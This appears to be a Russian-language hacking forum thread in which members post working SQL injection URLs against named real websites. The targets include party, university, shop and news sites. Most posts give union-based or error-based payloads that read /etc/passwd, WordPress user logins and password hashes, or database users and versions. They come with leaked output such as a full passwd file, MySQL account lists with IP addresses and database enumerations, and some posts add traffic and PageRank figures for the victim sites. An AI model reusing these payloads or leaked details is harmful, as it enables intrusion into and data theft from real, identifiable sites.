SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Тверское отделение ЛДПР
    Code:
    http://ldprtver.ru/events.php?id=-9328 uNiOn aLl sElEcT 1,cOnCaT(user(),0x3a,version(),0x3a,database()),3,4--
    [email protected]:5.1.41-log:ldprtver_db
     
  2. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    Code:
    http://www.shop.mpkpru.ru/public/places_personnel.php?id=619999912'+union+select+1,2,load_file('/etc/passwd'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,version(),25,26,27,28,29,30,31,32+--+
    root@localhost
    5.1.61



    Code:
    http://rosmir.iriran.ru/party.php?id=-102%27+union+select+1,2,3,4,5,load_file(%27/etc/passwd%27),7,concat(user(),0x3a,version()),9,10,11,12,13,14,15,16,17+--+
    root@localhost
    5.5.31
     
    #15922 psihoz26, 4 Mar 2015
    Last edited: 4 Mar 2015
    1 person likes this.
  3. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,114
    Likes Received:
    830
    Reputations:
    231
    error based cid_clientvariablestore@Microsoft SQL Server 2000 - 8
     
    _________________________
  4. palec2006

    palec2006 Banned

    Joined:
    30 Oct 2012
    Messages:
    38
    Likes Received:
    33
    Reputations:
    8
    ТИЦ:8500
    PR:4
    траф 100к+

    http://tonkosti.ru/
    http://reestr-ta.ru/
    http://pro.tonkosti.ru/
    http://reklama.travel/

    PHP 5.3.29
    PostgreSQL 9.3.3 on x86_64-unknown-linux-gnu, compiled by gcc (GCC) 4.6.3 20120306 (Red Hat 4.6.3-2), 64-bit

    MediaWiki и vBulletin примотанные к какому-то самопису
    хэши HMAC-MD5(key = $salt) (формат для hashcat - хэш:логин)

    http://admin.tonkosti.ru/
    http://pro.tonkosti.ru/talk/manage/
    http://reestr-ta.ru/admin/
    http://reestr-ta.ru/server-info
    http://reestr-ta.ru/?p=5/../../search_help
     
    1 person likes this.
  5. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Code:
    http://www.direct-line.ru/news_win.php?id=-2170 union select 1,load_file('/etc/passwd'),3,4--
    Code:
    root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false adm:x:3:4:adm:/var/adm:/bin/false lp:x:4:7:lp:/var/spool/lpd:/bin/false sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/bin/false news:x:9:13:news:/usr/lib/news:/bin/false uucp:x:10:14:uucp:/var/spool/uucppublic:/bin/false operator:x:11:0:operator:/root:/bin/bash man:x:13:15:man:/usr/share/man:/bin/false postmaster:x:14:12:postmaster:/var/spool/mail:/bin/false smmsp:x:209:209:smmsp:/var/spool/mqueue:/bin/false portage:x:250:250:portage:/var/tmp/portage:/bin/false nobody:x:65534:65534:nobody:/:/bin/false sshd:x:22:22:added by portage for openssh:/var/empty:/sbin/nologin cron:x:16:16:added by portage for cronbase:/var/spool/cron:/sbin/nologin ftp:x:21:21:added by portage for ftpbase:/home/ftp:/sbin/nologin ldap:x:439:439:added by portage for openldap:/usr/lib/openldap:/sbin/nologin clamav:x:101:1002:added by portage for clamav:/dev/null:/sbin/nologin mysql:x:60:60:added by portage for mysql:/dev/null:/sbin/nologin apache:x:81:81:added by portage for apache:/var/www:/sbin/nologin postgres:x:70:70:added by portage for postgresql:/var/lib:/bin/bash dbmail:x:102:1003:added by portage for dbmail:/var/lib/dbmail:/sbin/nologin razor:x:1000:1004::/home/razor:/bin/bash reser:x:1001:1005::/home/reser:/bin/bash syncer:x:1002:1006::/home/syncer:/bin/bash
     
    1 person likes this.
  6. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,114
    Likes Received:
    830
    Reputations:
    231
    вывод внизу страницы 5.1.73-1:[email protected]
     
    _________________________
  7. palec2006

    palec2006 Banned

    Joined:
    30 Oct 2012
    Messages:
    38
    Likes Received:
    33
    Reputations:
    8
    ТИЦ:210
    PR:5
    траф 30к

    version:
    5.5.41-MariaDB-1 squeeze-log

    user:
    club_media@localhost

    database:
    club_media
     
  8. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    [​IMG]
    Code:
    http://www.russia-review.ru/find.php?uid=1&fnd=-1' union select 1,2,3,4,5,6,concat(user(),0x3a,database(),0x3a,version()),8,9,10,11,12,13--
    trwcm@localhost:wciom_tr:5.5.38
     
  9. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,114
    Likes Received:
    830
    Reputations:
    231
    трафф 570к корейцы в Канаде
    ubuntu0.12.04.1-log:[email protected]

    ''@'cms.singtao.ca'
    ''@'localhost'
    'aitdev'@'%'
    'ccue168'@'174.129.110.83'
    'ccue168'@'23.20.187.239'
    'ccue168'@'54.196.138.32'
    'cmspro'@'%'
    'cmspro'@'10.109.151.12'
    'cmspro'@'10.157.0.40'
    'cmspro'@'10.182.228.236'
    'cmspro'@'10.231.168.34'
    'cmspro'@'174.129.110.83'
    'cmspro'@'216.250.115.119'
    'cmspro'@'23.20.187.239'
    'cmspro'@'54.196.138.32'
    'cmspro'@'54.235.156.247'
    'cmspro'@'54.235.74.234'
    'cmspro'@'54.83.0.184'
    'cmspro'@'74.208.110.10'
    'cmspro'@'74.208.163.140'
    'cmspro'@'ip-10-109-151-12.ec2.internal'
    'cmspro'@'ip-10-170-19-124.ec2.internal'
    'cmspro'@'ip-10-182-228-236.ec2.internal'
    'cmspro'@'ip-10-28-191-150.ec2.internal'
    'cmspro'@'localhost'
    'cmsreal'@'54.235.156.247'
    'cmsreal'@'54.235.74.234'
    'cmsreal'@'localhost'
    'debian-sys-maint'@'localhost'
    'root'@'127.0.0.1'
    'root'@'::1'
    'root'@'cms.singtao.ca'
    'root'@'localhost'
    'vote'@'10.157.0.40'
    'vote'@'ip-10-170-19-124.ec2.internal'
     
    _________________________
    1 person likes this.
  10. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    PR8
    http://www.hochschulkompass.de/studium/suche/profisuche/search/1/studtyp/3.html?tx_szhrksearch_pi1%5Bxtend%5D=1&tx_szhrksearch_pi1%5Bbundesland%5D%5B0%5D=2&tx_szhrksearch_pi1%5Bresults_at_a_time%5D=100&tx_szhrksearch_pi1[pointer]=1&tx_szhrksearch_pi1[detail]=all&tx_szhrksearch_pi1%5Bbesform%5D%5B0%5D=d'+union+select+null,datname+from+pg_database+--
     
  11. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.vs.com.ua/a-news/news.php?id=-18+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,0x4861636b6564206279205365706f,7,8,9,10--
    
     
  12. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,114
    Likes Received:
    830
    Reputations:
    231
    error based hsi_production 5.1.73 [email protected]
    Трафф 2.4кк софт для здравохранения США
    web server operating system: Linux CentOS 6.5
    web application technology: PHP 5.3.3, Apache 2.2.15
    back-end DBMS: MySQL >= 5.0.0
    available databases [6]:
    [*] hcti_production
    [*] hli_production
    [*] hsi_production
    [*] information_schema
    [*] test
    [*] testsourcedotcom_production
     
    _________________________
    1 person likes this.
  13. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Футбольная Федерация Анголы

    Code:
    http://www.fafutebol-angola.og.ao/noticias/noticias.php?id=-147+union+select+concat_ws(0x3a,version(),user(),database()),2--
     
  14. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    https://owl.english.purdue.edu/engagement/index.php?article_id=29%27+div+0+union+select+1,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--+
    5.5.42-log

    ТИЦ 100 PR 8 AR 1911
     
    _________________________
  15. C@T

    C@T Member

    Joined:
    7 Sep 2011
    Messages:
    12
    Likes Received:
    6
    Reputations:
    10
    Code:
    http://vlasti.net/wp-content/plugins/comment-rating/ck-processkarma.php?id=-2 or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast( user_login as char),0x7c,0x7c,0x7c, cast( user_pass as char),0x27,0x7e)) FROM wp3.wp_users limit 1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)&action=add&path=a&imgIndex=1_15_
    Тиц: 2400
    PR: 5

    User: root@localhost
     
    4 people like this.
  16. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Code:
    http://www.pervayapomosh.com/list.php?bukva=-2222222222222' /*!union select*/ 1,concat(user(),0x3a,database(),0x3a,version()),3,4--
    doconlin_admin@localhost:doconlin_pp:5.5.42-cll
     
  17. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    [​IMG]
    Code:
    http://www.press-service.ru/archive/?act=view&id=-136' union select 1,2,3,4,5,concat(user(),0x3a,database(),0x3a,version()),7 -- 
    almanahi_main@localhost:almanahi_imagemedia:5.5.41-cll-lve
     
  18. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    [​IMG]

    http://www.urtk-mephi.ru/pages.php?id=-12+union+select+1,version()

    5.1.52-log
     
  19. teh

    teh Member

    Joined:
    2 Dec 2010
    Messages:
    79
    Likes Received:
    6
    Reputations:
    -2
    http://cvetnik.com.ua/a-articles/article.php?id=-18%20union%20select%201,2,concat%280x3c62723e,version%28%29,0x3c62723e,user%28%29,0x3c62723e,database%28%29%29,4,5,6,7,8,9,10,11,12,13,14--


    5.0.77
    cvet@localhost
    cvetnik

    http://bratya-tsyplyata.ru/product.php?id=-996%20union%20select%201,concat%280x3c62723e,version%28%29,0x3c62723e,user%28%29,0x3c62723e,database%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14--

    5.1.73-log
    viraru_bra@localhost
    viraru_bra

    http://library.umd.umich.edu/Find/cat.php?cat=Reference%20union%20select%20concat%28version%28%29,0x3c62723e,user%28%29,0x3c62723e,database%28%29%29,2,3,4,5,6--

    5.0.95-log
    [email protected]
    Research
     
    #15939 teh, 27 Mar 2015
    Last edited by a moderator: 30 Mar 2015
  20. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    [​IMG]

    Code:
    http://www.onua.edu.ua/index.php?option=com_content&view=article&id=2364+or+1+group+by+concat%28version%28%29,floor%28rand%280%29*2%29%29having+min%280%29+or+1+--+&catid=1&Itemid=138&lang=ru
    Версия: 5.6.14-log1
    Engine: Joomla 1.5
     
Thread Status:
Not open for further replies.